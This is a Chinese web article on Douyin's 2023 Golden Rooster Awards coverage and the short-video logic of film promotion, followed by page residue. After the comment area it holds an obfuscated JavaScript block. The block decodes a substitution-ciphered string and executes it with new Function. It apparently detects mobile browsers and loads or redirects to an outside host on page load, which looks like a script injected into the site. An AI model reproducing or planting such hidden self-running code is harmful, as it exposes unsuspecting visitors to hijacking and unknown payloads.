后电影宣发时代,内容种草的逻辑变了吗?

时间:2023-11-17 10:04:25阅读:96549
近日,2023年中国金鸡百花电影节正式落下帷幕。万众瞩目之下,梁朝伟凭借《无名》中的何主任一角,摘得中国电影金鸡奖最佳男主角,成为新晋三金影帝。何赛飞则凭借在《追月》中饰演戚老师斩获金鸡影后,一番获奖
后电影宣发时代,内容种草的逻辑变了吗?
后电影宣发时代,内容种草的逻辑变了吗?
5/6

近日,2023年中国金鸡百花电影节正式落下帷幕。万众瞩目之下,梁朝伟凭借《无名》中的何主任一角,摘得中国电影金鸡奖最佳男主角,成为新晋三金影帝。何赛飞则凭借在《追月》中饰演戚老师斩获金鸡影后,一番获奖感言让不少网友直呼可爱又真实。

不过,比起当晚二十多项大奖花落谁家,今年中国电影金鸡奖同样值得关注的还有各种花式内容和互动玩法。与往年不同的是,今年抖音与CCTV6电影频道达成深度合作,除了直击金鸡奖的全景纪实融媒体直播外,抖音还推出多机位追踪、达人探班等一系列原生创意内容,受此带动,今年中国电影金鸡奖的传播周期整体被拉长,热度水涨船高。

相关数据显示,活动期间,中国电影金鸡奖相关热点在抖音热榜共计上榜60余次,其中5次登上热点总榜TOP1。围绕该活动延伸的#抖音带你看金鸡、 #在抖音和六公主逛金鸡 等站内话题,7日内新增播放分别达到了13.1亿和6亿。

作为电影行业的顶级盛事,今年中国电影金鸡奖在内容玩法上的新尝试,加快了其出圈的脚步。在这背后,抖音在其中的参与度加深,本质上反映出短视频平台在电影发展的新阶段扮演了全新角色,抖音的宣发价值也值得被重新审视。

从看到逛

叠上的是资源和创意buff

一直以来,中国电影金鸡奖虽然倍受瞩目,但由于其专业度和含金量颇高,在与市场的连接中,观众更多时候扮演的是一个置身事外的观看者的角色。而在今年,不少观众在接触这场顶级行业盛事时,却有了身处其中逛盛会之感。

今年活动期间,佳佳打开抖音时看到一条关于中国电影金鸡奖的开屏。由于之前听说《封神第一部》获得了多项提名,身为影片自来水的她点进了平台的活动专题页,订阅的各种内容,让她打开逛金鸡的新视角。通过抖音提供的双机位全程直播,她既可以选择直击金鸡奖的第一视角,实时关注电影发布现场、金鸡奖颁奖典礼等内容,也可切换至星辰大海三天三夜的第二视角,跟随青年演员们深入厦门,体验生活。

多方位视角让她游走在自己感兴趣的内容之间,当听到李雪健老师拿下最佳男配角时,她不自觉地跟着开心。而在直播间隙,佳佳刷到质子团与她相似的反应和热闹的评论区,更让她觉得找到了组织。

与佳佳有相似经历的人不在少数,根据抖音发布的数据,基于抖音端内开屏、搜索等资源的加持,该活动专题页累计曝光量达1800万以上。直播内容之外,抖音上也有中国电影金鸡奖幕后花絮、新片发布信息、红毯造型、明星日常等优质短内容,相关数据显示,整个活动期间,抖音联合CCTV6电影频道、厦门广电在内的多方媒体共发布1700+视频,发布内容累计播放超8亿,流量汇聚驱动一波波热点发酵,也让不少观众在多元化的创意内容中有了更强的参与感。

相比之下,乐怡只能算得上是一个行业小白。除了平常追剧聊八卦,并不特别关注行业事件的她,却在无意间刷到了陶白白探班张佳宁的视频,基于中国电影金鸡奖的合作,千万粉丝量级的达人与明星的跨界联动让她觉得新奇。

视频中,乐怡得知《一闪一闪亮星星》中的张万森即将走上大银幕,这让她想起了此前的抖音热梗。兴趣使然下,乐怡也留意起中国电影金鸡奖的动向,除了关于张万森的内容,星辰大海大合照中,i人与e人的反应让她啼笑皆非,何赛飞喜提影后的获奖感言也让她倍感可爱

显然,中国电影金鸡奖内容池扩容,改变的不只是内容传播的方式,更是观众接收内容的方式,从而影响其连接的市场范围。而从看到逛的转变,则是基于抖音的内容和宣发逻辑。与CCTV6电影频道合作,抖音自身的达人资源、多元内容创作能力等进一步释放,加深了行业顶级盛事的活动参与程度。

短内容带火长内容

新的种草逻辑正在形成

事实上,抖音与中国电影金鸡奖已经合作多次,只不过在以往,抖音多是以赞助者的形式参与其中。而在今年,抖音深度参与到这场行业盛事中,显示出其助推影视内容爆发的潜力。

今年春节档期间,《满江红》与《流浪地球2》两部影片的票房齐头并进。同期的抖音上,前者全军复诵的热梗,雷佳音饰演的秦桧背诵《满江红》的片段令人动容;后者也奉献多个名场面,其中,沙溢饰演的张鹏一句五十岁以上的出列,让多少观众潸然泪下与之相伴,相关短视频点赞量达到300万以上,短内容带动的情绪共振也为影片票房持续注入活力。

到了暑期档,这一趋势更加明显。抖音联合猫眼研究院发布的《2023暑期档电影数据洞察》(下称《报告》)显示,平台暑期档电影相关内容累计播放量高达1238亿次,用户发布的相关视频共287万条。

在这之中,档期内多部影片都出现了点赞数百万的高热短内容:《长安三万里》的轻舟已过万重山引发多年龄层观众共鸣,《孤注一掷》的拜佛名场面更是吸引诸多达人效仿

爆点出现的频率越来越高,意味着这一现象开始变得有迹可循。基于抖音的用户基础,片方可借助抖音的内容场大面积铺开多个话题,在其中寻找爆点,并围绕爆点持续产出内容,驱动用户种草。在这个过程中,内容种草的逻辑不再是单纯地将影视物料送入观众视野,而是借助短内容本身传递出的情绪,与观众感受到的情绪形成碰撞,以共情驱动用户种草长内容。

从这个角度来说,抖音如今以新的身份参与到中国电影金鸡奖中,更像是一种专业层面的盖章。短视频平台能力之于长内容宣发的价值正在加速释放,互联网宣发也随之来到新的发展阶段。

着力增量与黏性

内容平台站上后宣发时代的潮头

回过头看,影视行业发展至今,电影宣发大致经历了从线下路演到互联网宣发加速内容触达的过程。随着线上的互联网宣发逐渐成为其中更重要的环节,如何用好内容引发观众共情,在电影宣发中变得愈发重要,以内容平台为载体,用短内容种草长内容逐渐成为后宣发时代的核心支撑。

一方面,抖音本身就有着内容平台的基因。基于短视频出圈的底层逻辑,更多片方在抖音利用短内容激发观众共情。今年暑期档,《长安三万里》从李白青年逐梦到中年失意,对人生不同阶段的叩问引发大面积讨论,《孤注一掷》立足电信诈骗的社会议题出圈,皆是如此。

当然,也是由于内容平台的长期运营,抖音不只囊括了影视内容的核心消费群,还覆盖到大面积的增量群体,这样的用户盘在驱动影片后劲增长上作用明显。直观的表现是,《报告》数据显示,今年暑期档,《封神第一部》《八角笼中》等四部影片的首周票房占比均不足30%,档期长尾效应进一步得到释放便是很好的证明。

另一方面,对片方来说,内容种草的过程也是自身阵地经营的过程。据了解,《封神》系列计划拍摄三部影片,而在《封神第一部》上映前后,该片累计在抖音产出248个热点。截至目前,《封神第一部》抖音官方账号粉丝达到254万,于适、陈牧弛等新人演员的粉丝量也有不同程度地上涨,而官方账号、主创团队等沉淀的私域流量,都将转化为之后内容的潜在用户盘。

其他影片在内容平台的宣发过程亦是如此,高热话题与官方、主创等合力的阵地经营下,能持续吸引用户关注相关内容。包括此次中国电影金鸡奖期间,抖音往年与该活动的合作也让更多人关注到这场盛事,截至目前,#抖音带你看金鸡 的话题累计观看量已超过54亿次。

可见,与抖音的深度联动,让今年中国电影金鸡奖从内容池扩容到多个热点话题出圈,延续着同样的宣发思路。这也反映出,抖音的宣发模式,也在逐渐影响到影视综等更多长内容,影视行业对短视频平台的认可度也在加强。后宣发时代加速到来之际,凭借对新内容种草模式的深入探索,以抖音为代表的内容平台正在积蓄力量。

相关资讯

评论

  • 评论加载中...

!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();